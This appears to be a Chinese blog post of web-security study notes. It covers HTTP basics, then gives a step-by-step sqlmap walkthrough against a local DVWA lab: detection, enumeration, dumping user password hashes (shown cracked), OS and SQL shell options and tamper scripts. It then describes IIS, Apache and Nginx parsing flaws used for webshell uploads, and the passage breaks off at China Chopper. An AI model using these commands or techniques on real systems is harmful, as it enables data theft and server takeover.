Web安全深度剖析-笔记

本文深入探讨了Web安全的各种方面,包括HTTP基础、SQL注入、上传漏洞、XSS攻击、命令执行和文件包含漏洞。通过实例讲解了SQLmap的使用,以及如何利用和防范各种漏洞。此外,还涵盖了其他安全问题如CSRF、逻辑错误和服务器提权等,提供了丰富的实战知识和修复建议。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Web安全深度剖析-笔记

HTTP基础知识

http是无状态的,请求之后就响应,然后完成,连接关闭。

http请求方法

序号 方法 描述
1 GET 请求指定的页面的资源,并返回实体主体。(如果请求资源为php、jsp等,则解析后进行展示)
2 HEAD 用于获取报头,类似于get请求,只不过返回的响应中没有具体的内容。(常用于扫描)
3 POST 向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。常用于向服务器发送大量数据。(如请求login.php,并传递账户密码等信息)
4 PUT 客户端向服务器传送的数据取代指定的内容。(可以在服务器端创建,一般会禁用此方法)
5 DELETE 请求服务器删除指定的页面。(可以在服务器端删除,一般会禁用此方法)
6 CONNECT HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。
7 OPTIONS 允许客户端查看服务器的性能。(可以查看服务器端允许的请求方法,可以用来收集信息)
8 TRACE 回显服务器收到的请求,主要用于测试或诊断。

http状态码

常见的HTTP状态码:

200 - 请求成功
301 - 资源(网页等)被永久转移到其它URL
302 - 重定向

400 - 请求语法错误
401 - 请求未经授权
403 - 服务器拒绝提供服务
404 - 请求的资源(网页等)不存在
500 - 内部服务器错误

http消息头(字段)

普通头:包括date消息产生的时间日期、connection指定连接的选项(连续的或不连续的)、cache-control缓存指令。

请求头 解释
host 域名
user-agent 客户端信息
referer 上一个页面
cookie 表示请求者身份
range 请求实体的部分内容
x-forward-for xff头,表示请求段的ip
accept 客户端希望接收的消息类型
accept-charset 客户端希望接收的字符类型
响应 解释
server Web服务器的名称
set-cookie 向客户端设置cookie
last-modified 资源上次修改时间
location 重定向的页面位置
refresh 定时刷新浏览器
实体头 解释
content-type 告知客户端实体的类型
content-encoding 应用到实体正文中附加内容的编码
content-length 实体正文的长度
last-modified 资源上次修改时间

截取HTTP请求

工具:burpsuite、fiddler

搜索引擎劫持

现象:直接输入自己网站的域名可直接登录,但是从搜索引擎搜到页面点击时,会跳转到其他页面

http头中有一个字段referer,可记录用户从哪个页面点击过来的,黑客通过user-agent字段实现搜索到从百度等搜索引擎跳转过来的访问请求时,构造一个location字段跳转到其他页面。

Ctrl点击回到目录

SQLmap注入

注意的点:

sqlmap不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点
sqlmap参数区分大小写
添加环境变量:在系统变量的path里面加上sqlmap.py的路径(前提是默认python版本是2才可以),win7的话还要添加可识别的后缀,即pathtxt。

如果你在测试的时候发现sqlmap只检测第一个参数,给URL加个英文引号或许比较好。

注入基础知识

万能密码是典型的SQL注入;

注入基本分为:数字型和字符型,数字型无需闭合引号,字符型需闭合引号;

**查询的方式:**不同的数据库通常有不同的注入方法,但原理基本相似

  1. 枚举表或列来提取信息
  2. 利用数据类型转换错误提取信息
  3. 从数据库系统视图获取源数据
  4. order by、union、having等语句
  5. 数据库提供的函数
  6. 动态执行语句

以上在手工进行SQL注入练习时将详细研究。

使用DVWA来练习使用sqlmap

SQLmap基本使用方法

python2 sqlmap.py -u "带注入点的URL"
如此便可以检测该地址是否存在注入,存在哪几种类型的注入

更多的选项

  • –cookie : 如果网站需要登录则需要设置cookie值
  • -u : 指定目标URL
  • -b : 获取DBMS banner,即数据库信息
  • –dbs : 枚举DBMS中的数据库
  • –current-db : 获取当前数据库名称
  • –current-user : 获取当前用户
  • –users : 枚举DBMS用户
  • –password : 枚举DBMS用户密码hash,一般与-users连用
  • -D : 要枚举的DBMS数据库
  • –tables : 枚举DBMS数据库中的数据表
  • -T : 要枚举的DBMS数据表
  • –columns : 枚举DBMS数据库表中的所有列
  • -C: 要枚举的DBMS数据表中的列
  • –dump : 转储DBMS数据表项

简述利用过程

  1. 带入URL和cookie信息检测是否存在注入点
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low"
  2. 加参数-b --current-db --current-user获取数据库信息,当前数据库名和当前用户等信息
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low" -b --current-db --current-user
  3. 加参数–users --password获取数据库所有用户名和密码
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low" --users --password
  4. 加参数–dbs 获取所有的数据库名
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low" --dbs
  5. 加参数-D 确定要采集信息的数据库名,加参数-tables 枚举该数据库的所有表名
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low" -D dvwa --tables
  6. 加参数-T 确定要采集信息的数据表名,加参数-columns 枚举该数据表的所有列名(字段)
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low" -D dvwa -T users --columns
  7. 加参数-C 确定感兴趣的字段名,加参数-dump将获取的表项存储下来。
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low" -D dvwa -T users -C user,password --dump

最终能够得到可以登录dvwa的所有账户密码。

Database: dvwa
Table: users
[5 entries]
+———+———+———————————————+
| user_id | user| password |
+———+———+———————————————+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99(password) |
| 2 | gordonb |e99a18c428cb38d5f260853678922e03 (abc123) |
| 3 | 1337 |8d3533d75ae2c3966d7e0d4fcc69216b (charley) |
| 4 | pablo |0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) |
| 5 | smithy |5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+———+———+———————————————+

原文:http://www.freebuf.com/articles/web/29942.html

其他常用的参数用法

  • 测试注入点权限
    sqlmap.py -u "url" --privileges \测试所有用户权限
    sqlmap.py -u "url" --privileges -U sa \单独测试sa用户的权限

  • 执行shell命令
    sqlmap.py -u [URL] --os-cmd="net user" \执行net user命令
    sqlmap.py -u [URL] --os-shell \系统交互的shell

  • 执行SQL命令
    sqlmap.py -u [URL] --sql-shell \sql交互的shell
    sqlmap.py -u [URL] --sql-query='sql' \sql交互的shell

  • 注入http请求
    DVWA安全级别medium注入方法:中级的页面提交的参数不在地址栏中显示,burp抓包显示参数在http请求的正文中,此时可通过注入http请求的方式,其它步骤基本一致
    sqlmap.py -r head.txt --dbs \head.txt内容为http请求
    head.txt内容如下

    POST /login.php HTTP/1.1
    Host:127.0.0.1/dvwa 
    User—Agent:Mozilla/5.0
    
    username=admin&password=password 
    

    head.txt中最好不要直接用抓包数据,建议删掉cookie、Referer等信息。(正确性待定)

  • 注入http请求2
    sqlmap.py -u "url" --forms \forms参数会自动抓取post包,从而进行注入

  • 将注入语句插入到指定位置
    sqlmap.py -u "http://www.xxser.com/id/2*.html" —dbs \伪静态页面可以利用星号指定注入点

  • 使用sqlmap插件
    sqlmap.py -u [URL] -tamper "base64encode.py" \sqlmap自带的插件可以进行特殊的操作

SQLmap能检测到的注入类型

有以下5种:

  • Boolean-based blind(布尔型注入)
    通过判断页面返回情况获得想要的信息。
  • Error-based(报错型注入)
  • UNION query(可联合查询注入)
  • Stacked queries(可多语句查询注入)
  • Time-based blind(基于时间延迟注入)
    盲注的一种,由于页面无回显,添加sleep函数,通过页面响应时间判断是否执行了函数。

其他检测SQL注入的工具

pangolin(穿山甲)、Havij(萝卜头)

Ctrl点击回到目录

上传漏洞

不对上传文件进行格式限制,导致任意文件上传,这就是一个上传漏洞

WEB解析漏洞简介

上传漏洞通常与WEB解析漏洞配合在一起

IIS6.0解析漏洞

  1. 当文件夹名命名为XX.asa或XX.asp时,文件夹中的所有文件都会被当做asp文件来执行
  2. 当文件命名为*.asp;1.jpg时,此文件会被当做asp文件来执行
  3. WebDav漏洞:开启webdav后,可扩展move、copy、delete等HTTP方法,此时即可put一个a.txt写入一句话木马,并通过copy或move改名为xx.asp,这样即可轻松上传一个webshell。同样可以使用delete方法删除任意文件。

APACHE漏洞

Apache在解析文件时有一个原则:当碰到不认识的扩展名时,将会从后向前解析,直到碰为止,如果都不认识,则会暴露其源代码。比如:1.php.rar ,apache不认识rar后缀,就会解析成php文件。

PHP CGI解析漏洞

Nginx曾经有两个解析漏洞,当在正常网页www.xx.com/1.jpg后面加上/xx.php时(xx.php文件不需要存在),1.jpg就会被当成PHP脚本来运行。
但此漏洞为PHP漏洞,因为PHP的配置文件中cgi.if选项默认开启向前递归解析,当xx.php文件不存在时,就解析上一级文件,造成解析漏洞。

中国菜刀与一句话木马

往目标网站中加入一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值